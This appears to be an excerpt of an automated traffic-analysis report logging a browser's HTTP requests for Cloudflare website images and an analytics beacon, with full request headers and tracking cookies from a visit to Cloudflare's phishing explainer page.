cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/6XVeELky7fceWRpfBvN8qr/4e13aa3d8dd73e1f091f3de966fdc9cb/logo_shopify_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/in
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1637362255 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1AsuJijKk8EMH5s1ae56nx/b13406881aa864b7e17b2233a0d090ef/logo_labcorp_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259298389\|2\|1\|bat.bing.com/p/in
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/26kszL2y2X7zTR2edZPDUY/1a9d00bc8c441346e6dd06bd82204972/logo_ncr_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526pag
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3JniCZlkcKI9iHgormG8j3/b94cf97c93844f2db74d566fc512aef1/logo_thomson-reuters_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activity
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5YRPa33UFrfL2zoZd2AXTq/658995f16c7ee4818875c254c18573d3/logo_zendesk_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%252
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/68TLXIuB6HOZo3RgLAp1Ji/6a953e33858490426d4e2ca753bea3ad/documentation-list.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dht
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; 